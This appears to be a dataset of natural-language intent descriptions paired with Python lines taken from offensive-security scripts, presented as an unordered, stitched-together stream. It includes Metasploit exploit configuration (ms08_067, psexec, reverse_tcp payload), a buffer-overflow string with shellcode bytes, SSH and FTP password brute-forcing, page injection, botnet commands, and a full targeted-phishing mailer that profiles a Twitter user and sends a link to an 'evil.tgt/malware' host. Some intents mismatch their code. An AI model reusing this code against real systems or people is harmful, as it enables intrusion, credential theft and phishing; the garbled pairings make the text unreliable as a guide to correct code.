Intent Script Create a parser with OptionParser 'usage %prog -p -t ' "parser = optparse.OptionParser(""usage %prog '+'-p -t "" )" Define the function retGeoStr with argument ip def retGeoStr(ip): Assign to the variable host the value 'localhost' host = 'localhost' Define the function printPcap with argument pcap def printPcap(pcap): Call the function exit with argument 0 exit(0) Change the scope of the variable Fails to global global Fails Assign to filename the function join of path of os with arguments dir and the method replace with arguments '/' and '_' of filename filename = os.path.join(dir,filename.replace('/', '_')) Remove from search 'q=' and '+' search=search.replace('q=', '').replace('+', ' ') Import the library for the regular expressions import re Read the file passwdFile and assign it to pF pF = open(passwdFile, 'r') Call function pxssh of library pxssh with no arguments and assign it to s s = pxssh.pxssh() Assign to long the field 'longitude' of rec long = rec['longitude'] Assign to THRESH the value thresh of options THRESH = options.thresh Define the class Google_result class Google_Result: If count of options is equal to None if options.count == None: Assign to url the url of options url = options.url Assign to dirs a list containing 'C:\\Recycler\\','C:\\Recycled\\','C:\\$Recycle.Bin\\' dirs=['C:\\Recycler\\','C:\\Recycled\\','C:\\$Recycle.Bin\\'] Call the function findRecycledDir findRecycled(recycledDir) Import the library to interact with operative system import os Get the record for that IP and assign it to rec rec = gi.record_by_name(ip) Assign the variable user of options to user user = options.user Assign to pkts the result of the function rdpcap with argument 'domainFlux.cap' pkts = rdpcap('domainFlux.pcap') Assign to mapLon the value 'N/A' mapLon = 'N/A' Import the library to scan the ports import nmap Call the function open with argument imgFileName and 'wb' and assign it to imgFile imgFile = open(imgFileName, 'wb') Assign to ans the result of the functionsr1 with argument pkt and verbose equals to 0 ans = sr1(pkt, verbose=0) Continue the arguments with help equals to 'specify PDF file name' help='specify PDF file name') Call the function sniff with argument prn equals testTTL and store equals to 0 sniff(prn=testTTL, store=0) Exit the function with user value return user Define the function testForExif with argument imgFIleName def testForExif(imgFileName): Define the function addClient with arguments host, user and password def addClient(host, user, password): Define the function scanTest with arguments src, dst, iface and count def scanTest(src, dst, iface, count): Continue the argument and concatenation with 'windows/meterpreter/reverse_tcp\n' 'windows/meterpreter/reverse_tcp\\n') Exit function with value False return False Assign to title the result with key 'titleNoFormatting' title = result['titleNoFormatting'] Add the option of the parser H for tgtHost as a string with help specify target host parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') For each attempt from 1 to 5 for attempt in range(1, 5): Call the method strip with argument ' ' of addr, call the method replace with arguments ' ' and ':', take the values from 0 to 17 and assign it to addr addr = addr.strip(' ').replace(' ', ':')[0:17] Call the member function user of options and assign it to user user = options.user Start except block except: Call the method add_option with arguments '-k', dest equals to 'keyword', type equals to 'string' and help= equals to 'specify target url' parser.add_option('-k', dest='keyword', type='string', help='specify google keyword') Assign to platform the value argv at position 2 of sys platform = sys.argv[2] Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-k ' of optparse parser = optparse.OptionParser('usage %prog ' + '-k ') Get the record for that IP and assign it to rec rec = gi.record_by_name(tgt) Call the method start of t and assign the result to child child = t.start() Do nothing pass Assign to city the field 'country_code3' of rec country = rec['country_code3'] Parse the usage prod pd target host, the target port, the user and the directory parser = optparse.OptionParser('usage %prog -H '+ ' -u -d ') Assign to iface of conf the value iface of options conf.iface = options.iface Assign to host the value of the function str with argument row at the position 0 host = str(row[0]) Call the function findTgts with argument tgtHost of options and assign it to tgtHosts tgtHosts = findTgts(options.tgtHost) Change the scope of the variable Found to global global Found Assign the variable tgtHost of options to host host = options.tgtHost For each item in dnsRecords for item in dnsRecords: Exit function with argument True return True For each sid in dirList for sid in dirList: Call the function scanTest with arguments src, dst, iface and count scanTest(src, dst, iface, count) Assign to respURL the value 'http://wigle.net/gps/gps/main/confirmquery/' respURL = 'http://wigle.net/gps/gps/main/confirmquery/' If the substring '!lazor' is in data of tcp in lower case if '!lazor' in tcp.data.lower(): Call the method write of configFile with argument 'set payload ' and concatenate next line configFile.write('set payload '+\ From the library used for interact with windows registry import everything from _winreg import * "and ""\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3""" """\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3""" Import the library for file transfer protocol import ftplib If sport is equal to 6667 if sport == 6667: Call the function bruteLogin with argument host and passwdFile bruteLogin(host, passwdFile) Call the function injectPage with arguments ftp, 'index.html' and redirect injectPage(ftp, 'index.html', redirect) Assign to url of self the value url self.url = url If pktsSent is more than THRESH if pktsSent > THRESH: Call the method write with argument imgContent of imgFile imgFile.write(imgContent) "Execute the command ""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;""on c" "c.execute(""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;"")" Else else: Append the new_gr to the list results results.append(new_gr) If the method has_key with argument ipsrc of ttlValues is not True if not ttlValues.has_key(ipsrc): Define the function mirrorImages with argument url and dir def mirrorImages(url, dir): Call the method add_option with arguments '-u', dest equals to 'tgtURL', type equals to 'string' and help equals to 'specify target url' parser.add_option('-u', dest='tgtURL', type='string', help='specify target url') Start except block except: Instantiate a Semaphore named screenLock initialized with variable values equals 1 screenLock = Semaphore(value=1) Return the variable kmlPts return kmlPts Exit the cycle break Add the option of the parser u for user as a string with help specify the user parser.add_option('-u', dest='user', type='string', help='specify the user') Read all the network traffic from f and assign it to pcap pcap = dpkt.pcap.Reader(f) Call the function printHistory with argument placesDB printHistory(placesDB) Assign to IPlayer the result of the function IP with src equals src and dst equals to tgt IPlayer = IP(src=src, dst=tgt) Call the method anonymize with no argument of ab ab.anonymize() Call the function send with argument pkt send(pkt) Call function connect with arguments '127.0.0.1', 'root' and 'toor' s = connect('127.0.0.1', 'root', 'toor') Assign to mapLat the value 'N/A' mapLat = 'N/A' Assign to the tuple options and args the method parse_args with no arguments of parser (options, args) = parser.parse_args() For each result in response with keys 'responseData' and 'results' for result in objects['responseData']['results']: Assign to hideMeProxy the dictionary with key 'http' and value equals to '216.155.139.115:3128' hideMeProxy = {'http': '216.155.139.115:3128'} If the functions len with argument argv of sys returns a value bigger than 2 if len(sys.argv) > 2: Open the url and assign it to page page = browser.open(url) "Call the method send with argument ""PASS \r\n"" of s" "s.send(""PASS \r\\n"")" Assign to ip the data of eth ip = eth.data Assign to tgt the tgt of options tgt = options.tgt Call the object PdfFileReader with argument file with arguments fileName and 'rb' and assign it to pdfFile pdfFile = PdfFileReader(file(fileName, 'rb')) Call the method add_option with arguments '-F', dest equals to 'fileName' and type equals to 'string' of parser parser.add_option('-F', dest='fileName', type='string',\ Assign to msgDirection the concatenation of From, the function str with argument row at position 1 and : msgDirection = 'From ' + str(row[2]) + ' : ' Assign to TCPlayer the result of the function TCP with argument sport equals to 513 and dport equals to 514 TCPlayer = TCP(sport=513, dport=514) Call the function PortScanner with no argument from the library nmap and assign nmScan = nmap.PortScanner() Return the title of self return self.title For each line in the method readlines with no argument of pF for line in pF.readlines(): Call method acquire on screenLock with no arguments screenLock.acquire() Call the method tgtHost on options and assign the result to tgtHost tgtHost = options.tgtHost Call the method _getexif with no argument of imgFile and assign it to info info = imgFile._getexif() Assign to text of self the value text self.text = text Assign to perm_denied the value 'Permission denied' perm_denied = 'Permission denied' If the substring encrypted is in the string e if 'encrypted' in str(e): Import the library for parsing import optparse Call the method pxssh with no arguments of the package pxssh and assign it to s s = pxssh.pxssh() Create an empty dictionary and assign it to dnsRecords dnsRecords = {} Parse the argument into the tuple made of options and args (options, args) = parser.parse_args() Call the function EnumValue with argument netKey and 4 and assign the result to the tuple n, name and t (n, name, t) = EnumValue(netKey, 4) Assign to dst the tgt of options dst = options.tgt Parse the usage prod pd target host and the target port parser = optparse.OptionParser('usage %prog '+ '-H -p ') Call the function anonLogin with argument host anonLogin(host) From the library to manipulate Exif data of image import TAGS from PIL.ExifTags import TAGS Import the library to parse html and xml from BeautifulSoup import BeautifulSoup Define the function with anonLogin with argument hostname def anonLogin(hostname): Do nothing pass Import the library to interact with a sqlite database import sqlite3 Define function botnetCommand with argument command def botnetCommand(command): Start except block except: If preNum is not equal to 0 if preNum != 0: Call the function printRecord with argument tgt printRecord(tgt) Assign to date the result of the function str with argument row at the position 0 date = str(row[0]) If the substring partlist is not in the function str with argument row at the position 3 if 'partlist' not in str(row[3]): Assign to THRESH five THRESH = 5 Call function gethostbyaddr with argument tgtIP assign the result to tgtName tgtName = gethostbyaddr(tgtIP) Call the function printNets with arguments username and password printNets(username, password) Call the method write of configFile with argument 'set LPORT' concatenated to the function str with argument lport concatenated to '\n' configFile.write('set LPORT ' + str(lport) + '\\n') Assign to ttlValues at the key ipsrc the value ttl of pkt ttlValues[ipsrc] = pkt.ttl Call the function portScan with arguments tgtHost and tgtPorts portScan(tgtHost, tgtPorts) If thresh of options is not None if options.thresh != None: If url is equal to None if url == None: Exit function returning value self.session.before return self.session.before "Call the method send with argument ""USER anonymous\r\n"" of s" "s.send(""USER anonymous\r\\n"")" Call the function split of rLon at the position 0 and assign it to mapLon mapLon = rLon[0].split "Assign to crash the value ""\x41"" multiply by 246 concatenated to ret concatenated to paddling concatenated to shellcode" "crash = ""\x41"" * 246 + ret + padding + shellcode" Call the method back with no argument of ab ab.back() Import the library to manage cookies import cookielib Assign to value the value of the function str with argument row at the position 2 value = str(row[2]) Assign to command the value argv at position 2 of sys command = sys.argv[2] Return an empty string return '' Else else: Call method sendline with argument cmd on s s.sendline(cmd) From the library to manipulate Pdf import PdfFileReader from pyPdf import PdfFileReader Call the object BeautifulSoup with argument urlContent and assign it to soup soup = BeautifulSoup(urlContent) Close the save file save.close() Call the method write of configFile with argument 'use exploit/windows/smb/ms08_067_netapi\n' configFile.write('use exploit/windows/smb/ms08_067_netapi\\n') "Execute the command 'SELECT tbl_name FROM sqlite_master WHERE type==\""table\"";' on c" "c.execute('SELECT tbl_name FROM sqlite_master WHERE type==\""table\"";')" Import the library for spawning applications import pexpect Assign to kmldoc the concatenation of kmlheader the result of the function plotIPs with argument pcap and kmlfooter kmldoc=kmlheader+plotIPs(pcap)+kmlfooter Assign to ab the anonBrowser with parameters proxies equals to an empty list and user_agents equals to a list with inside a tuple made of 'User-agent' and 'superSecretBrowser' ab = anonBrowser(proxies=[],user_agents=[('User-agent','superSecretBroswer')]) Define main function with no arguments def main(): Call the class BoundedSemaphore with argument value equals to maxConnections and assign to connection_lock connection_lock = BoundedSemaphore(value=maxConnections) Call the method parse_args with no argument and assign it to the tuple made of options and args (options, args) = parser.parse_args() Assign to passwdFile the value passwdFile of options passwdFile = options.passwdFile Call the method write of configFile with argument 'use exploit/windows/smb/psexec\n' configFile.write('use exploit/windows/smb/psexec\\n') Call the class Client with argumet host, user and password and assign it to client client = Client(host, user, password) "Use the command ""SELECT datetime(timestamp,'unixepoch'),dialog_partner, author, body_xml FROM Messages;""" "c.execute(""SELECT datetime(timestamp,'unixepoch'),dialog_partner, author, body_xml FROM Messages;"")" Assign the result of the method pxssh on pxssh with no argument to s s = pxssh.pxssh() Call the method write of configFile with argument 'set payload ' and continue to the next line the argument and the concatenation configFile.write('set payload '+\ If the variable pcapFile of options is equal to None if options.pcapFile == None: Define the method __init__ with arguments self, title, text and url def __repr__(self): Return results return results Call the method add_option with arguments '-d', dest equals to 'dir', type equals to 'string' and help equals to 'specify destination directory' parser.add_option('-d', dest='dir', type='string',help='specify destination directory') Assign the value password to self.password self.password = password "and ""\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8""" """\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8""" Define the function printNets with argument username and password def printNets(username, password): "and ""\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0""" """\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0""" Open the document pcapFile and assign it to f f = open(pcapFile) "Execute the command ""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;""on c" "c.execute(""select url, datetime(visit_date/1000000, 'unixepoch') from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;"")" Else if ret equals 3 elif ret == 3: Call the method open with argument url of ab and assign it to page page = ab.open(url) Define the function printContacts with argument skypeDB def printContacts(skypeDB): Call the function spawn with argument connStr of the library pexpect and assign it to child child = pexpect.spawn(connStr) Call the method read of page with no argument html = page.read() Define the function findRecycled with argument recycleDir def findRecycled(recycleDir): Create a packet pkt with source src, destination dst, UDP with destination port 31335 and the load equals to 'PONG' pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG') Call the method get with arguments tag and tag and assign of TAGS and assign it to decoded decoded = TAGS.get(tag, tag) Define the function __init__ with arguments self and handle def __init__(self, handle): Assign to handle of self handle self.handle = handle Assign to tweets of self the result of the method get_tweets with no argument of self self.tweets = self.get_tweets() Define the function get_tweets with argument self def get_tweets(self): Assign to query the result of the method quote_plus of urllib with argument the concatenation of 'from:', handle of self and ' since:2009-01-01 include:retweets' query = urllib.quote_plus('from:' + self.handle+ ' since:2009-01-01 include:retweets') Assign an empty list to tweets tweets = [] Assign to browser the class anonBrowser called with no arguments browser = anonBrowser() Call the method anonymize with no argument of browser browser.anonymize() Assign to response the result of the method open of browser with argument the concatenation of 'http://search.twitter.com/'+ 'search.json?q=' and query response = browser.open('http://search.twitter.com/'+ 'search.json?q=' + query) Assign to json_object the result of the method load of json with argument response json_objects = json.load(response) For each result in json_objects with key 'results' for result in json_objects['results']: Assign to new_result an empty dictionary new_result = {} Assign to new_result with key 'from_user' the value of result with key 'from_user_name' new_result['from_user'] = result['from_user_name'] Assign to new_result with key 'geo' the value of result with key 'geo' new_result['geo'] = result['geo'] Assign to new_result with key 'tweet' the value of result with key 'text' new_result['tweet'] = result['text'] Append to tweets the new_result tweets.append(new_result) Return the tweets return tweets Define the function find_interests with argument self def find_interests(self): Create an empty dictionary and assign it to interests interests = {} Create an empty list and assign it to interest with key 'links' interests['links'] = [] Create an empty list and assign it to interest with key 'users' interests['users'] = [] Create an empty list and assign it to interest with key 'hashtags' interests['hashtags'] = [] Assign to the text the value of tweet with jey tweet text = tweet['tweet'] Assign to links the result of the function compile of re with argument '(http.*?)\Z|(http.*?) ' then call the function findall with argument text links = re.compile().findall(text) For each link in links for link in links: If link at position 0 exists if link[0]: Assign to link the link at the position 0 link = link[0] Else if link at position 1 exists elif link[1]: Assign to link the link at the position 1 link = link[1] Else else: Continue continue Assign to response the result of the method urlopen of urllib2 with argument link response = urllib2.urlopen(link) Assign to full_link the variable url of response full_link = response.url Append to interests with key links the variable full_link interests['links'].append(full_link) Except except: Append to interests with key 'users' the result of the function findall with argument text called on compile of re with argument '(@\w+)' interests['users'] += re.compile('(@\w+)').findall(text) Append to interests with key 'hashtags' the result of the function findall with argument text called on compile of re with argument '(#\w+)' interests['hashtags'] += re.compile('(#\w+)').findall(text) Sort the list interests with key 'users' interests['users'].sort() Sort the list interests with key 'hashtags' interests['hashtags'].sort() Sort the list interests with key 'links' interests['links'].sort() Return the interests return interests Define the function twitter_locate with arguments self and cityFile def twitter_locate(self, cityFile): Assign an empty list to cities cities = [] If cityFile is not equal to None if cityFile != None: For each line in the method readlines called with no arguments of the opened file cityFile for line in open(cityFile).readlines(): Assign to city the string stripped of '\n' and '\r' in low case city = line.strip('\\n').strip('\r').lower() Append to the list cities the city cities.append(city) Assign to locations an empty list locations = [] Assign to locCnt the value 0 locCnt = 0 Assign to cityCnt the value 0 cityCnt = 0 Assign to tweetsText an empty string tweetsText = '' For each tweet in tweets of self for tweet in self.tweets: If tweet with key 'geo' is not equal to None if tweet['geo'] != None: Append to locations the tweet with key 'geo' locations.append(tweet['geo']) Increment locCnt of 1 locCnt += 1 Concatenate to tweetsText the tweet with key 'tweet' in lower case tweetsText += tweet['tweet'].lower() For each city in cities for city in cities: If the substring city is in tweetsText if city in tweetsText: Append to locations the value city locations.append(city) Increment cityCnt of 1 cityCnt += 1 Return the value locations return locations Call the method quote_plus of urllib with argument the concatenation of 'from:', handle and ' since:2009-01-01 include:retweets' query = urllib.quote_plus('from:' + handle+ ' since:2009-01-01 include:retweets') Assign to response the result of the the method open of browser with argument the concatenation of 'http://search.twitter.com/', 'search.json?q=' and query response = browser.open('http://search.twitter.com/'+ 'search.json?q='+ query) Define the function load_cities with argument cityFile def load_cities(cityFile): Assign an empty list to cities cities = [] For each line in the method readlines with no argument of the opened file cityFile for line in open(cityFile).readlines(): Assign the line stripped of '\n' and '\r' in lower case to city city=line.strip('\\n').strip('\r').lower() Append city to cities cities.append(city) Return the variable cities return cities Define the function twitter_locate with arguments tweets and cities def twitter_locate(tweets,cities): Assign an empty list to locations locations = [] Assign 0 to locCnt locCnt = 0 Assign 0 to cityCnt cityCnt = 0 Assign to tweetsText an empty string "tweetsText = """"" If tweet with key 'geo' is not equal to None if tweet['geo'] != None: Append the tweet with key 'geo' to locations locations.append(tweet['geo']) Increment locCnt of 1 locCnt += 1 Concatenate the tweet with key 'tweet' to tweetsText in lower case tweetsText += tweet['tweet'].lower() For each city in cities for city in cities: If the substring city is in tweetsText if city in tweetsText: Append the city to locations locations.append(city) Increment cityCnt of 1 cityCnt+=1 Return the variable locations return locations Define the function main with no arguments def main(): Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-u [-c ]' of optparse parser = optparse.OptionParser('usage %prog '+ '-u [-c ]') Call the method add_option with arguments '-c', dest equals to 'cityFile', type equals to 'string' and help= equals to 'specify file containing cities to search' parser.add_option('-c', dest='cityFile', type='string',help='specify file containing cities to search') Assign cityFile of options to cityFile cityFile = options.cityFile If handle is equal to None if (handle==None): Call the function exit to 0 exit(0) Assign an empty list to to cities cities = [] If cityFile is not equal to None if (cityFile!=None): Call the function load_cities with argument cityFile and assign the result to cities cities = load_cities(cityFile) Assign the result of the function twitter_locate with argument tweets and cities to location locations = twitter_locate(tweets,cities) Import the library dedicated to regular expressions import re Import the second version of the http client import urllib2 Define the function get_tweets with argument handle def get_tweets(handle): Call the method quote_plus of urllib with argument the concatenation of 'from:', handle and ' since:2009-01-01 include:retweets' query = urllib.quote_plus('from:' + handle+ ' since:2009-01-01 include:retweets') Assign to tweets an empty list tweets = [] Assign to browser the class anonBrowser with no argument browser = anonBrowser() Call the method of browser anonymize with no arguments browser.anonymize() Assign to response the result of the the method open of browser with argument the concatenation of 'http://search.twitter.com/', 'search.json?q=' and query response = browser.open('http://search.twitter.com/'+ 'search.json?q=' + query) Assign to json_objects the result of the method load of json with argument response json_objects = json.load(response) For each result in json_objects with key 'result' for result in json_objects['results']: Assign to new_result an empty dictionary new_result = {} Assign to new_result with key 'from_user' the variable result with key 'from_user_name' new_result['from_user'] = result['from_user_name'] Assign to new_result with key 'geo' the variable result with key 'geo' new_result['geo'] = result['geo'] Assign to new_result with key 'tweet' the variable result with key 'text' new_result['tweet'] = result['text'] Append to tweets the new_result tweets.append(new_result) Return the variable tweets return tweets Define the function find_interests with argument tweets def find_interests(tweets): Assign to interests an empty dictionary interests = {} Assign to interests with key 'links' an empty list interests['links'] = [] Assign to interests with key 'users' an empty list interests['users'] = [] Assign to interests with key 'hashtags' an empty list interests['hashtags'] = [] For each tweet in tweets for tweet in tweets: Assign the tweet with key 'tweet' to text text = tweet['tweet'] Call the method findall with argument text of the function compile with argument '(http.*?)\Z|(http.*?) ' of the library re and assign it to links links = re.compile().findall(text) For each link in links for link in links: If link in position 0 exists if link[0]: Assign link in position 0 to link link = link[0] Else if link in position 1 exists elif link[1]: Assign link in position 1 to link link = link[1] Else else: Continue continue Start try block try: Assign the result of the function urlopen with argument link of urllib2 response = urllib2.urlopen(link) Assign the response of url to full_link full_link = response.url Append full_link to interests with key links interests['links'].append(full_link) Excepet except: Do nothing pass Link the result of the function findall with argument text of the function compile with argument '(@\w+)' of re to interests with key 'users' interests['users'] += re.compile('(@\w+)').findall(text) Link the result of the function findall with argument text of the function compile with argument '(#\w+)' of re to interests with key 'hashtags' interests['hashtags'] += re.compile('(#\w+)').findall(text) Sort the list interests with key 'users' interests['users'].sort() Sort the list interests with key 'hashtags' interests['hashtags'].sort() Sort the list interests with key 'links' interests['links'].sort() Return the variable interests return interests Define the main function with no arguments def main(): Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' and '-u ' of optparse parser = optparse.OptionParser('usage %prog '+ '-u ') Call the method add_option with arguments '-u', dest equals to 'handle', type equals to 'string' and help= equals to 'specify twitter handle' parser.add_option('-u', dest='handle', type='string', help='specify twitter handle') If handle is equal to None if handle == None: Call the function exit to 0 exit(0) Assign to tweets the result of the function get_tweets with argument handle tweets = get_tweets(handle) Assign the result of the function find_interests with argument tweets to interests interests = find_interests(tweets) Import the library to manage json files import json Import a http client import urllib From the library to manages an anonymous browser import everything from anonBrowser import * Define the class reconPerson class reconPerson: Define the function __init__ with arguments self, first_name, last_name, job equals to '' and social media equals to {} def __init__(self,first_name,last_name, job='',social_media={}): Assign to first_name of self the value first_name self.first_name = first_name Assign to last_name of self the value last_name self.last_name = last_name Assign to job of self the value job self.job = job Assign to social_media of self the value social_media self.social_media = social_media Define the method __repr__ with argument self def __repr__(self): Return the concatenation of first_name of self, ' ', last_name of self + ' has job ' + job of self return self.first_name + ' ' + self.last_name + ' has job ' + self.job Define the method get_social with arguments self and media_name def get_social(self, media_name): If the variable social_media of self has the key media_name if self.social_media.has_key(media_name): Return the variable social_media with key media_nameof self return self.social_media[media_name] Return nothing return None Define the method query_twitter with argument self and query def query_twitter(self, query): Assign to query the result of the function quote_plus of urllib with argument query query = urllib.quote_plus(query) Assign to results an empty list results = [] Assign an instance of anonBrowser with no argument to browser browser = anonBrowser() Assign to response the result of the method open of browser with argument the concatenation of 'http://search.twitter.com/search.json?q=' and query response = browser.open( 'http://search.twitter.com/search.json?q='+ query) Assign to json_object the result of the function json_load of json with argument response json_objects = json.load(response) For each result in json_object with key response for result in json_objects['results']: Assign an empty dictionary to new_result new_result = {} Assign result with key 'from_user_name' to new_result with key 'from_user' new_result['from_user'] = result['from_user_name'] Assign result with key 'geo' to new_result with key 'geo' new_result['geo'] = result['geo'] Assign result with key 'text' to new_result with key 'tweet' new_result['tweet'] = result['text'] Append new_result to results results.append(new_result) Return results return results Call the function reconPerson with arguments 'Boondock' and 'Saint' and assign it to ap ap = reconPerson('Boondock', 'Saint') Assign 'username' to user user = 'username' Assign 'password' to pwd pwd = 'password' Call the function sendMail with argument user, pwd, 'target@tgt.tgt', 'Re: Important' and 'Test Message' sendMail(user, pwd, 'target@tgt.tgt' 'Re: Important', 'Test Message') Import the library to send an email with smtp import smtplib Import the library to parse strings import optparse From the library to manage the text of the email in mime format import MIMEText from email.mime.text import MIMEText From twitterClass import everything from twitterClass import * From the library to manage randomess import choice from random import choice define the function sendMail with arguments user, pwd, to, subject and text def sendMail(user,pwd,to,subject,text): Assign an object MIMEText with argument text to msg msg = MIMEText(text) Assign user to msg with 'From' msg['From'] = user Assign to to msg with key 'To' msg['To'] = to Assign subject to msg with key 'Subject' msg['Subject'] = subject Start try block try: Assign the result of the function SMTP of smtplib with arguments 'smtp.gmail.com and 587 to smtpServer smtpServer = smtplib.SMTP('smtp.gmail.com', 587) Call the method starttls with no argument of smtpServer smtpServer.starttls() Call the method ehlo with no argument of smtpServer smtpServer.ehlo() Call the method login with arguments user and pwd of smtpServer smtpServer.login(user, pwd) Call the method sendmail with arguments user, to and the method as_string with no argument of msg of smtpServer smtpServer.sendmail(user, to, msg.as_string()) Call the method close with no argument of smtpServer smtpServer.close() Except except: Do nothing pass Define the main function with no argument def main(): Assign to parser the OptionParser with argument the concatenation of 'usage %prog ' ,'-u -t ' and '-l -p ' -d ' of optparse parser = optparse.OptionParser('usage %prog '+ '-u -t '+ '-l -p ') Call the method add_option with arguments '-u', dest equals to 'handle', type equals to 'string' and help equals to 'specify twitter handle' parser.add_option('-u', dest='handle', type='string', help='specify twitter handle') Call the method add_option with arguments '-t', dest equals to 'tgt', type equals to 'string' and help equals to 'specify target email' parser.add_option('-t', dest='tgt', type='string', help='specify target email') Call the method add_option with arguments '-l', dest equals to 'user', type equals to 'string' and help equals to 'specify gmail login' parser.add_option('-l', dest='user', type='string', help='specify gmail login') Call the method add_option with arguments '-p', dest equals to 'pwd', type equals to 'string' and help equals to 'specify gmail password' parser.add_option('-p', dest='pwd', type='string', help='specify gmail password') Assign to the tuple of options and args the result of the method parse_args with no argument of parser (options, args) = parser.parse_args() Assign handle of options to handle handle = options.handle Assign tgt of options to tgt tgt = options.tgt Assign user of options to user user = options.user Assign pwd of options to pwd pwd = options.pwd If handle is equal to None or tgt is equal to None or user is equal to None or pwd is equal to None: if handle == None or tgt == None or user ==None or pwd==None: Call the function exit with argument 0 exit(0) Assign the result of the function reconPerson with argument handle to spamTgt spamTgt = reconPerson(handle) Call the method get_tweets with no argument of spamTgt spamTgt.get_tweets() Call the method find_interests with no argument of spamTgt to interests interests = spamTgt.find_interests() Call the method twitter_locate of spamTgt with argument 'mlb-cities.txt' and assign it to location location = spamTgt.twitter_locate('mlb-cities.txt') "Assign the concatenation of ""Dear"", tgt and "","" to spamMsg" "spamMsg = ""Dear ""+tgt+"",""" If location is not equal to None if (location!=None): Assign the result of the function choice with argument location to randLoc randLoc=choice(location) "Concatenate the concatenation of "" Its me from "", randLoc and ""."" to spamMsg" "spamMsg += "" Its me from ""+randLoc+"".""" If interests with key 'users' is not equal to None if (interests['users']!=None): Assign to randUser the result of the function choice with argument interests with key 'users' randUser=choice(interests['users']) "Concatenate the concatenation of "" "", randUser and "" said to say hello."" to spamMsg" "spamMsg += "" ""+randUser+"" said to say hello.""" If interests with key 'hashtags' is not equal to None if (interests['hashtags']!=None): Assign to randHash the result of the function choice with argument interests with key 'hashtags' randHash=choice(interests['hashtags']) "Concatenate the concatenation of "" Did you see all the fuss about "", randHash and ""?"" to spamMsg" "spamMsg += "" Did you see all the fuss about ""+ randHash+""?""" If interests with key 'links' is not equal to None if (interests['links']!=None): Assign to randLink the result of the function choice with argument interests with key 'links' randLink=choice(interests['links']) "Concatenate the concatenation of "" I really liked your link to: "", randLink and ""."" to spamMsg" "spamMsg += "" I really liked your link to: ""+ randLink+"".""" "Concatenate to spamMessage the string "" Check out my link to http://evil.tgt/malware""" "spamMsg += "" Check out my link to http://evil.tgt/malware""" Call the function sendMail with argument user, pwd, 'target@tgt.tgt', 'Re: Important' and spamMsg sendMail(user, pwd, tgt, 'Re: Important', spamMsg) Call the function connect with arguments user, host, keyfile and False connect(user, host, keyfile, False) Assign to IPlayer the IP with src equals to src and dst equals to tgt IPlayer = IP(src=src, dst=tgt) "and ""\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7""" """\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7""" Send the packet to iface and count equals count send(pkt) "Call the object OptionParser with argument 'usage %prog "" of optParse and assign it to parser" "parser = optparse.OptionParser('usage %prog ""+\" If synSpoof of options is equal to None or if srcSpoof of options is equal to None or if tgt of options is equal to None if options.synSpoof == None or options.srcSpoof == None or options.tgt == None: If the function isMessageTable with argument iphoneDB returns True if isMessageTable(iphoneDB): Import the library to manipulate request and response for http pages import mechanize Set cookie_jar as a cookie collector of browser browser.set_cookiejar(cookie_jar) Take the second argument of stream splitted at ':' and assign it to dst dst = stream.split(':')[1] Call the function CloseKey with argument netKey CloseKey(netKey) Define the function nmapScan with arguments tgtHost and tgtPort def nmapScan(tgtHost,tgtPort): Assign to Fails the value 0 Fails = 0 Add the option of the parser H for tgtHost as a string with help specify target host parser.add_option('-H', dest='tgtHost', type='string',help='specify target host') Call the function printLinks with argument url printLinks(url) Call the function testProxy with argument url and hideMeProxy testProxy(url, hideMeProxy) Import the libraries for file transfer protocol and time management import ftplib, time "and ""\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea""" """\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea""" "and ""\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f""" """\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f""" Use c as a cursor for conn c = conn.cursor() Call the function botnetCommand with argument 'cat /etc/issue' botnetCommand('cat /etc/issue') Call the function printDownloads with argument downloadDB printDownloads(downloadDB) Assign to the variable password the value 'toor' password = 'toor' Call function FTP with argument hostname of the library ftplib and assign it to ftp ftp = ftplib.FTP(hostname) If the substring '.php' or the substring '.htm' or the substring '.asp' is found in fn if '.php' in fn or '.htm' in fn or '.asp' in fn: Call the function str with argument name and assign it to netName netName = str(name) Call the function close with no argument of configFile configFile.close() Continue the line with args equals to the tuple containing user, host, fullpath and True args=(user, host, fullpath, True)) "and ""\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85""" """\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85""" Call the function findHivemind of pcap findHivemind(pcap) Exit function with no argument return Assign to ackPkt the IPlayer divided by the TCPlayer ackPkt = IPlayer / TCPlayer Call the method gethostbyname with argument tgtHost and assign the result to tgtIP tgtIP = gethostbyname(tgtHost) Import the library to interact with the opearative system import os Define the function printProfile with argument skypeDB def printProfile(skypeDB): Assign to pkt the value of the function sr1 with arguments IP with argument dst equals to ipsrc, ICMP with no arguments, retry equals to 0, timeout equals to 1 and verbose equals to 0 pkt = sr1(IP(dst=ipsrc),ICMP(), retry=0, timeout=1, verbose=0) Import the library to manage url import urllib Assign to iface the 